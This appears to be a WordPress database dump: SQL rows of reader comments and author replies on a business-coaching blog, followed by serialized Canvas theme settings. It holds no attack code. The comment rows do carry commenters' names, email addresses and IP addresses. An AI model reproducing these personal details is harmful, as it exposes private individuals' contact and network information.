(13771, 2501, 'Michael C. De Meyer', 'michaelcdemeyer@gmail.com', '', '98.243.14.243', '2013-09-04 12:34:08', '2013-09-04 19:34:08', 'Thomson,\r\n\r\nI always enjoy your articles from both a professional and personal perspective.  You are now emerging from a space I am now entering.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1', '', 0, 0),
(13772, 2501, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.197.124.191', '2013-09-04 12:42:11', '2013-09-04 19:42:11', 'Thank you Jim for your comment. Indeed its been a while since I "retired" from the design business.\r\n\r\nMicheal... it''s a long journey for me. A lifetime really, but I keep on keeping on in this new work I am engaged in.  LOve keeps me going!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 0, 2),
(13909, 2501, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.197.124.191', '2013-09-10 09:05:44', '2013-09-10 16:05:44', '@Giselle--don''t let the current eveidence of "lack" get in the way of your creative thinking!  I sure appreciate your sharing here. I would be less than honest if I didn''t say "worry and anxiety" are two forces that challenge me every day.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 0, 2),
(23106, 2519, 'Juliana Sproles', 'julianasproles@att.net', '', '76.91.3.251', '2014-01-06 21:22:14', '2014-01-07 04:22:14', 'Way to put the intentions out there.\r\nNow to experience new manifestations.', 0, '1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53', '', 0, 0),
(23107, 2519, 'Juliana Sproles', 'julianasproles@att.net', '', '76.91.3.251', '2014-01-06 21:22:47', '2014-01-07 04:22:47', ':)', 0, '1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A501 Safari/9537.53', '', 0, 0),
(23363, 2534, 'Gail', 'gailtaras@earthlink.net', '', '67.103.38.242', '2014-01-11 18:44:21', '2014-01-12 01:44:21', 'Nice article Thomson. I do believe it''s absolutely, 100% TRUE! I''m believing with all my heart. (Don''t forget the heart!) It''s already happening. Thanks for reminding me. G\r\n\r\n"I feel it coming, stormin''.\r\nI can feel it now, stormin''...\r\nWinds comin'' down the main line...\r\nTie yourself to the main mast,\r\nTie it down with love!"', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:26.0) Gecko/20100101 Firefox/26.0', '', 0, 0),
(25067, 2501, 'J. Duncan McNeill', 'inventor@bigpond.net.au', 'http://www.rollfast.info', '120.151.253.214', '2014-02-19 23:11:56', '2014-02-20 06:11:56', 'That was a great article and so TRUE!! Congratulations and well done. I could see myself in all that and i am sure there are many others who can relate as well.', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0', '', 0, 0),
(25114, 2511, 'Larry Melnick', 'larry@hunterbizdev.com', 'http://www.hunterbizdev.com', '24.99.202.224', '2014-02-21 13:09:18', '2014-02-21 20:09:18', 'Well said and good advice. Love the "Castles in the Mind" analogy!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0', '', 0, 0),
(25125, 2501, 'Jane Lindsey', 'jane@snapdragononline.co.uk', 'http://www.snapdragononline.co.uk', '81.158.204.138', '2014-02-22 06:19:54', '2014-02-22 13:19:54', 'This is a great article - thank you for posting it Thomas.  It came at just the right time for me.\r\n In the last few months I have flipped from feeling myself to be freelance, going from job to job, to opening out into something much more exciting and expansive. \r\nI looked at my business - which started 5 years ago on the kitchen table and realised that it is now employing several staff, has a purpose build workspace, and that  my view of it had to change as it was holding me back.\r\nThis week I have incorporated, acquired a business coach and joined an International Mastermind.  I suddenly feel like I am soaring - same business, same challenges, completely different feel.', 0, '1', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36', '', 0, 0),
(25549, 1245, 'Earnhardt', 'ieqllhxjsev@gmail.com', 'http://eaxwxsdp.com', '141.101.186.250', '2014-03-06 01:47:17', '2014-03-06 08:47:17', 'That''s 2 clever by half and 2x2 clever 4 me. Thskna!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0', '', 0, 0),
(26405, 2062, 'siyanda', 'philanisiyanda@gmail.com', 'http://N/A', '93.186.16.212', '2014-03-11 12:57:58', '2014-03-11 19:57:58', 'My hope was restored through your message, thank you', 0, '1', 'BlackBerry8520/5.0.0.592 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/168', '', 0, 0),
(27907, 2501, 'Susanna Smith', 'smi3@sympatico.ca', '', '174.91.111.115', '2014-03-21 11:21:44', '2014-03-21 18:21:44', 'Thank you Thomson - this was an inspirational read! I''ve been wearing those "shackles" you referred to for a while now - except I didn''t realize it.  You''ve given me a valuable ''AHA'' moment -- I am determined to "think bigger" and see where it takes me!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36', '', 0, 0),
(28087, 2588, 'Don Borreson', 'don.borreson@keenstrategy.com', 'http://www.keenstrategy.com', '70.210.15.157', '2014-03-22 15:44:46', '2014-03-22 22:44:46', 'TD: I''ve followed your perspectives for quite some time -- and as always, this ''White Hot Center'' entry is provocative and (in the main) insightful.\r\n\r\nHowever, while Strategic Thinking may be a more ''innate'' gift for some than others, it most certainly CAN be taught. This is not to defend the hundreds of millions of wasted MBA tuition every year, but the workplace and marketplace provides a Darwinian ''survival of the fittest'' incentive and learning lab for strategic thinking. \r\n\r\nAs an example, as a purely conceptual thinker, I eventually developed and honed my strategic instincts and ''connection synapses'' -- initially at JWT and in greater depth at Coca-Cola. \r\nWhat environments and cultures like these do first is build you a cognitive framework to ''cut through the clutter''; from there, they demand ''so what'' filters that drive an implications-for-action mindset. \r\n\r\nWith regular exercise of that process -- and living with those judgments (and their consequences) -- I believe Strategic Thinking can become like muscle memory, allowing faster processing and better results.\r\n\r\nKeep stirring the pot, Thom!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36', '', 0, 0),
(31612, 2501, 'M.Burnett', 'unclemikmusic@gmail.com', '', '213.205.228.108', '2014-04-27 18:05:05', '2014-04-28 01:05:05', 'I was researching for my business course homework to find out the distinct difference between entrepreneurs and the self-employed, and after reading this brilliant account by Thompson Dawson, who has gone into great detail to describe the difference I must say it has given me a better understanding and perspective. Thank you for posting this it was an excellent read.', 0, '1', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36 OPR/20.0.1387.91', '', 0, 0),
(36573, 2173, '成功するための8つの秘密[8 secrets of success] Richard St. John | みきとっぷ', '', 'http://mikitop11.com/lifehack/8_secrets_of_success/', '210.172.144.233', '2014-06-28 08:49:21', '2014-06-28 15:49:21', '[...] http://www.whitehotcenter.com/2012/09/crap-criticism-rejection-assholes-pressure/ [...]', 0, '1', 'The Incutio XML-RPC PHP Library -- WordPress/3.9.1', 'pingback', 0, 0),
(37138, 2664, 'Suzanne Brown', 'Sbrownfotos@gmail.com', '', '184.189.221.154', '2014-07-08 10:04:17', '2014-07-08 17:04:17', 'Awesome post \r\nThomson! Inspiring!', 0, '1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 [FBAN/FBIOS;FBAV/12.0.0.21.20;FBBV/3142790;FBDV/iPhone6,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/7.1.2;FBSS/2; FBCR/Verizon;FBID/phone;FBLC/en_US;FBOP', '', 0, 0),
(37145, 2664, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '76.90.50.175', '2014-07-08 10:47:09', '2014-07-08 17:47:09', 'Thank you Suzanne!!! I sure appreciate you leaving those kind words. \nAll the best to you!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 37138, 2),
(37157, 2664, 'Michael D', 'michaelcdemeyer@gmail.com', '', '98.243.14.243', '2014-07-08 12:01:59', '2014-07-08 19:01:59', 'We have been down similar paths.  Thanks for sharing!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/6.1.4 Safari/537.76.4', '', 0, 0),
(37163, 2664, 'Roger Hilleboe', 'Rhilleboe@mac.com', '', '70.176.144.140', '2014-07-08 17:36:56', '2014-07-09 00:36:56', 'Good read Thomson and an accurate, real life, description of the Human Condition: How does one find Meaning in an apparently meaningless world?', 0, '1', 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', '', 0, 0),
(37584, 1058, 'Michael De Meyer', 'michaelcdemeyer@gmail.com', '', '98.243.14.243', '2014-07-16 05:54:05', '2014-07-16 12:54:05', 'One of your best!', 0, '1', 'Mozilla/5.0 (Linux; Android 4.4.2; SM-N900V Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36', '', 0, 0),
(37640, 2664, 'Kendall Witherspoon', 'Kendall@thinkspoon.com', 'http://Thinkspoon.com', '107.132.167.52', '2014-07-17 09:15:51', '2014-07-17 16:15:51', 'Thomson- Thanks for your honesty and insight. A great example of never giving up even after change. Embrace risk like a lover is a great thought. Thanks.', 0, '1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 [FBAN/FBIOS;FBAV/12.1.0.24.20;FBBV/3214247;FBDV/iPhone5,3;FBMD/iPhone;FBSN/iPhone OS;FBSV/7.1.2;FBSS/2; FBCR/Verizon;FBID/phone;FBLC/en_US;FBOP', '', 0, 0),
(37672, 2664, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '24.106.1.6', '2014-07-17 11:49:16', '2014-07-17 18:49:16', 'Hello Ken!  Sure appreciate you leaving a comment here! All the best to you...', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 37640, 2),
(37673, 2664, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '24.106.1.6', '2014-07-17 11:50:11', '2014-07-17 18:50:11', 'Micheal-- thank you for reading and leaving your comment here... I need all the words of encouragement I can get :-)\nall the best!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 37157, 2),
(38330, 2701, 'Terry Tillman', 'ttillman@227company.com', 'http://www.227company.com', '174.27.3.150', '2014-08-01 19:13:23', '2014-08-02 02:13:23', 'Nice one Thomson! Keeping on keeping on has only worked for me if/when I really wanted the rain and if/when I really liked "dancing"...', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4', '', 0, 0),
(38394, 2701, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '76.90.50.175', '2014-08-02 11:07:53', '2014-08-02 18:07:53', 'Thanks Terry for your comment! Excellent point... sure appreciate you giving it a listen.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 0, 2),
(39143, 2689, 'Why entrepreneurs hate marketing. — White Hot Center', '', 'http://www.whitehotcenter.com/2014/08/why-entrepreneurs-hate-marketing/', '74.208.129.31', '2014-08-19 11:29:47', '2014-08-19 18:29:47', '[...] a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the [...]', 0, '1', 'The Incutio XML-RPC PHP Library -- WordPress/3.3.1', 'pingback', 0, 0),
(39481, 2689, 'Social Media Selling: Know me, like me, trust me. — White Hot Center', '', 'http://www.whitehotcenter.com/2014/08/social-media-selling-know-me-like-me-trust-me/', '74.208.129.31', '2014-08-25 10:35:48', '2014-08-25 17:35:48', '[...] my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The [...]', 0, '1', 'The Incutio XML-RPC PHP Library -- WordPress/3.3.1', 'pingback', 0, 0),
(39665, 2735, 'Denise Mongerie-Rogers', 'rodjmon@gmail.com', 'http://www.rodjmon.com', '65.48.147.15', '2014-09-01 23:18:29', '2014-09-02 06:18:29', 'You work is very inspiring as it it simple and easy to read and understand but most importantly very renewing. \r\n\r\nAfter reading your contributions I am able to put my aspiring entrepreneurial direction into perspective and I understand clearly what has to be done and i''m no longer ambivalent.', 0, '1', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36', '', 0, 0),
(39678, 2735, 'Thomson Dawson', 'tdawson@pullinc.com', 'http://www.pullinc.com', '76.90.50.175', '2014-09-02 10:43:56', '2014-09-02 17:43:56', 'Thank you Denise for your comment! I sure appreciate you reading the post and subscribing to the blog!!! All the best to you...', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 0, 0),
(39731, 2501, 'Marcia', 'dreaminteriors@msn.com', '', '69.73.253.114', '2014-09-05 17:22:02', '2014-09-06 00:22:02', 'Thought provoking and inspiring!', 0, '1', 'Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.23 like Chrome/34.0.1847.137 Safari/537.36', '', 0, 0),
(39802, 2715, 'Marcia', 'dreaminteriors@msn.com', '', '198.56.60.135', '2014-09-09 17:29:14', '2014-09-10 00:29:14', 'Hmm.  Quite thought provoking. Will definitely seek clarity in answering these questions.', 0, '1', 'Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; KFJWI Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.23 like Chrome/34.0.1847.137 Safari/537.36', '', 0, 0),
(39992, 577, 'http://www.161990up.com', 'mose.montalvo@live.com', 'http://www.161990up.com', '192.227.145.186', '2014-09-20 23:47:17', '2014-09-21 06:47:17', 'Hey this is kind of of off topic but I was wondering if blogs use WYSIWYG editors or if you have to manually code with \r\nHTML. I''m starting a blog soon but have no coding know-how so I \r\nwanted to get guidance from someone with experience.\r\nAny help would be greatly appreciated!', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)', '', 0, 0),
(39997, 2791, 'Roger Hilleboe', 'Rhilleboe@mac.com', '', '70.176.144.140', '2014-09-21 07:44:51', '2014-09-21 14:44:51', 'Death is everyone''s destination. Before setting a single goal, before deciding how you''re going to spend your day, before writing another in a seemingly endless stream of "to-do" lists, one should, like buddhists, like Steve Jobs suggested during his well-known Comencement Address to graduating Stanford students in 1985, keep this inevitable destination firmly in one''s mind.', 0, '1', 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', '', 0, 0),
(40039, 2801, 'Steve Osborne', 'studio@osbornedesign.com.au', 'http://www.osbornedesign.com.au', '203.217.69.108', '2014-09-23 17:36:42', '2014-09-24 00:36:42', 'Thomson, are you using the word and terms: "brand," "brand / building / value, foundation" etc. as a substitute for the word and term "business" in this article? I ask not because there is any issue with the content, only because the latter seems to me more appropriate.\r\n\r\nWhat is the difference in saying: "If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation"\r\n\r\nand\r\n\r\nIf you’re going to create a business that endures, you’ll have to build its value on a solid foundation.\r\n\r\nIs this a conscious use of the term, or has it become a default position whenever we write about small business marketing? Are "brand" and "business" the same thing and if so, why would we use one over the other? \r\n\r\nMy query is not intended to open up an explanation of the old chestnut – what is a brand / what constitutes branding – rather, I''m simply curious as to why you would use it this context.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36', '', 0, 0),
(40040, 2801, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '76.90.50.175', '2014-09-23 18:38:02', '2014-09-24 01:38:02', 'Hello Steve–thanks very much for reading and leaving your thoughful comment!\n\nHonestly the whole "branding" topic is one that may confuse many early stage CEOs. Particularly the ones I speak with. There focus is on the business not the brand. \n\nBrand, business they are words that describe one in the same thing for sure. Hopefully this will provide an answer to your question above...\n\nI use the word brand rather than business simply to put the focus of building on customer perceptions (brand) rather than operations (business). A (brand) being the sum total of all experiences people have with the (business). \n\nMy use of the word brand was intentional... however I will admit that sometimes my stuff just adds to the confusion.\nAll the best,Thomson', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 40039, 2),
(40034, 577, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '76.90.50.175', '2014-09-23 10:29:55', '2014-09-23 17:29:55', 'Thanks for your comment. Unforntunately I have no technical skills to answer your question properly. Thanks for checking out the blog!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:27.0) Gecko/20100101 Firefox/27.0', '', 39992, 2),
(41388, 871, 'Jason Demakis', 'AskJason@JasonDemakis.com', 'http://www.jasondemakis.com/', '173.245.52.163', '2015-05-27 07:42:38', '2015-05-27 14:42:38', 'Absolutely brilliant. I was Googling "the ethics of persuasion", and your article came up. As someone trying to sort out their own beliefs, biases, and suspicions on selling and persuading - this is exactly what I needed to read right now. Thank you! You''ve definitely influenced me!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36', '', 0, 0);

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You can control specific typography on post title, post content, widget titles etc. in the other sections in the options panel.";s:4:"type";s:4:"info";}i:30;a:5:{s:4:"name";s:23:"General Text Font Style";s:4:"desc";s:35:"Select typography for general text.";s:2:"id";s:13:"woo_font_text";s:3:"std";a:5:{s:4:"size";s:2:"14";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#555555";}s:4:"type";s:10:"typography";}i:31;a:5:{s:4:"name";s:13:"H1 Font Style";s:4:"desc";s:45:"Select the typography you want for header H1.";s:2:"id";s:11:"woo_font_h1";s:3:"std";a:5:{s:4:"size";s:2:"28";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:32;a:5:{s:4:"name";s:13:"H2 Font Style";s:4:"desc";s:45:"Select the typography you want for header H2.";s:2:"id";s:11:"woo_font_h2";s:3:"std";a:5:{s:4:"size";s:2:"24";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:33;a:5:{s:4:"name";s:13:"H3 Font Style";s:4:"desc";s:45:"Select the typography you want for header H3.";s:2:"id";s:11:"woo_font_h3";s:3:"std";a:5:{s:4:"size";s:2:"20";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:34;a:5:{s:4:"name";s:13:"H4 Font Style";s:4:"desc";s:45:"Select the typography you want for header H4.";s:2:"id";s:11:"woo_font_h4";s:3:"std";a:5:{s:4:"size";s:2:"16";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:35;a:5:{s:4:"name";s:13:"H5 Font Style";s:4:"desc";s:45:"Select the typography you want for header H5.";s:2:"id";s:11:"woo_font_h5";s:3:"std";a:5:{s:4:"size";s:2:"14";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:36;a:5:{s:4:"name";s:13:"H6 Font Style";s:4:"desc";s:45:"Select the typography you want for header H6.";s:2:"id";s:11:"woo_font_h6";s:3:"std";a:5:{s:4:"size";s:2:"12";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:37;a:3:{s:4:"name";s:6:"Layout";s:4:"icon";s:7:"styling";s:4:"type";s:7:"heading";}i:38;a:2:{s:4:"name";s:14:"General Layout";s:4:"type";s:10:"subheading";}i:39;a:5:{s:4:"name";s:14:"Layout Manager";s:4:"desc";s:0:"";s:2:"id";s:25:"woo_layout_manager_notice";s:3:"std";s:222:"Below you can set the general site width and layout. To control the width of the columns in your themes layout, please visit the <a href="http://whc.fbdev.org/wp-admin/admin.php?page=woo-layout-manager">Layout Manager</a>.";s:4:"type";s:4:"info";}i:40;a:8:{s:4:"name";s:10:"Site Width";s:4:"desc";s:101:"Set the width (in px) that you would like your content column to be (recommended max-width is 1600px)";s:2:"id";s:16:"woo_layout_width";s:3:"std";s:3:"960";s:3:"min";s:3:"600";s:3:"max";s:4:"1600";s:9:"increment";s:2:"10";s:4:"type";s:6:"slider";}i:41;a:6:{s:4:"name";s:11:"Main Layout";s:4:"desc";s:82:"Select main content and sidebar alignment. Choose between 1, 2 or 3 column layout.";s:2:"id";s:10:"woo_layout";s:3:"std";s:12:"two-col-left";s:4:"type";s:6:"images";s:7:"options";a:6:{s:7:"one-col";s:69:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/1c.png";s:12:"two-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cl.png";s:13:"two-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/2cr.png";s:14:"three-col-left";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cl.png";s:16:"three-col-middle";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cm.png";s:15:"three-col-right";s:70:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/3cr.png";}}i:42;a:6:{s:4:"name";s:19:"Footer Widget Areas";s:4:"desc";s:56:"Select how many footer widget areas you want to display.";s:2:"id";s:19:"woo_footer_sidebars";s:3:"std";s:1:"4";s:4:"type";s:6:"images";s:7:"options";a:5:{i:0;s:83:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/footer-widgets-0.png";i:1;s:83:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/footer-widgets-1.png";i:2;s:83:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/footer-widgets-2.png";i:3;s:83:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/footer-widgets-3.png";i:4;s:83:"http://whc.fbdev.org/wp-content/themes/canvas/functions/images/footer-widgets-4.png";}}i:43;a:5:{s:4:"name";s:26:"Enable Fixed Mobile Layout";s:4:"desc";s:144:"Canvas is responsive, meaning it adapts its layout on mobile devices. Enabling Fixed Layout will remove the responsive layout on mobile devices.";s:2:"id";s:21:"woo_remove_responsive";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:44;a:2:{s:4:"name";s:12:"Boxed Layout";s:4:"type";s:10:"subheading";}i:45;a:5:{s:4:"name";s:18:"Boxed Layout Style";s:4:"desc";s:30:"Enable the boxed layout style.";s:2:"id";s:16:"woo_layout_boxed";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:46;a:5:{s:4:"name";s:20:"Box Background Color";s:4:"desc";s:81:"Pick a custom color for the boxed background or add a hex color code e.g. #ffffff";s:2:"id";s:16:"woo_style_box_bg";s:3:"std";s:7:"#ffffff";s:4:"type";s:5:"color";}i:47;a:5:{s:4:"name";s:10:"Box Margin";s:4:"desc";s:69:"Enter an integer value i.e. 20 for the desired top and bottom margin.";s:2:"id";s:14:"woo_box_margin";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:18:"woo_box_margin_top";s:4:"type";s:4:"text";s:3:"std";s:1:"0";s:4:"meta";s:3:"Top";}i:1;a:4:{s:2:"id";s:21:"woo_box_margin_bottom";s:4:"type";s:4:"text";s:3:"std";s:1:"0";s:4:"meta";s:6:"Bottom";}}}i:48;a:5:{s:4:"name";s:21:"Box Border Top/Bottom";s:4:"desc";s:47:"Specify border properties for the boxed layout.";s:2:"id";s:17:"woo_box_border_tb";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:49;a:5:{s:4:"name";s:21:"Box Border Left/Right";s:4:"desc";s:47:"Specify border properties for the boxed layout.";s:2:"id";s:17:"woo_box_border_lr";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:50;a:6:{s:4:"name";s:19:"Box Rounded Corners";s:4:"desc";s:100:"Set amount of pixels for border radius (rounded corners). Will only show in CSS3 compatible browser.";s:2:"id";s:21:"woo_box_border_radius";s:4:"type";s:6:"select";s:3:"std";s:3:"0px";s:7:"options";a:21:{i:0;s:3:"0px";i:1;s:3:"1px";i:2;s:3:"2px";i:3;s:3:"3px";i:4;s:3:"4px";i:5;s:3:"5px";i:6;s:3:"6px";i:7;s:3:"7px";i:8;s:3:"8px";i:9;s:3:"9px";i:10;s:4:"10px";i:11;s:4:"11px";i:12;s:4:"12px";i:13;s:4:"13px";i:14;s:4:"14px";i:15;s:4:"15px";i:16;s:4:"16px";i:17;s:4:"17px";i:18;s:4:"18px";i:19;s:4:"19px";i:20;s:4:"20px";}}i:51;a:5:{s:4:"name";s:10:"Box Shadow";s:4:"desc";s:61:"Enable box shadow. Will only show in CSS3 compatible browser.";s:2:"id";s:14:"woo_box_shadow";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:52;a:2:{s:4:"name";s:17:"Full Width Layout";s:4:"type";s:10:"subheading";}i:53;a:5:{s:4:"name";s:17:"Full Width Layout";s:4:"desc";s:0:"";s:2:"id";s:21:"woo_full_width_notice";s:3:"std";s:227:"Below you can enable full width header and footer areas and set the background. You can set the styling options for the full width navigation under the Primary Navigation options. Please note that Boxed Layout must be disabled.";s:4:"type";s:4:"info";}i:54;a:5:{s:4:"name";s:24:"Enable Full Width Header";s:4:"desc";s:43:"Set header container to display full width.";s:2:"id";s:21:"woo_header_full_width";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:55;a:5:{s:4:"name";s:23:"Header Background Color";s:4:"desc";s:64:"Select the background color you want for your full width header.";s:2:"id";s:29:"woo_full_header_full_width_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:56;a:5:{s:4:"name";s:23:"Header Background Image";s:4:"desc";s:154:"Upload a background image, or specify the image address of your image (http://yoursite.com/image.png). <br/>Image should be same width as your site width.";s:2:"id";s:24:"woo_full_header_bg_image";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:57;a:5:{s:4:"name";s:30:"Header Background Image Repeat";s:4:"desc";s:53:"Select how you want your background image to display.";s:2:"id";s:31:"woo_full_header_bg_image_repeat";s:4:"type";s:6:"select";s:7:"options";a:4:{s:9:"No Repeat";s:9:"no-repeat";s:6:"Repeat";s:6:"repeat";s:19:"Repeat Horizontally";s:8:"repeat-x";s:17:"Repeat Vertically";s:8:"repeat-y";}}i:58;a:5:{s:4:"name";s:24:"Enable Full Width Footer";s:4:"desc";s:66:"Set footer widget area and footer container to display full width.";s:2:"id";s:21:"woo_footer_full_width";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:59;a:5:{s:4:"name";s:35:"Footer Widget Area Background Color";s:4:"desc";s:69:"Select the background color you want for your full width widget area.";s:2:"id";s:29:"woo_foot_full_width_widget_bg";s:3:"std";s:7:"#f0f0f0";s:4:"type";s:5:"color";}i:60;a:5:{s:4:"name";s:23:"Footer Background Color";s:4:"desc";s:64:"Select the background color you want for your full width footer.";s:2:"id";s:24:"woo_footer_full_width_bg";s:3:"std";s:7:"#222222";s:4:"type";s:5:"color";}i:61;a:3:{s:4:"name";s:19:"Header &amp; Footer";s:4:"icon";s:7:"styling";s:4:"type";s:7:"heading";}i:62;a:2:{s:4:"name";s:6:"Header";s:4:"type";s:10:"subheading";}i:63;a:5:{s:4:"name";s:23:"Header Background Color";s:4:"desc";s:78:"Pick a custom color for header background or add a hex color code e.g. #e6e6e6";s:2:"id";s:13:"woo_header_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:64;a:5:{s:4:"name";s:23:"Header Background Image";s:4:"desc";s:154:"Upload a background image, or specify the 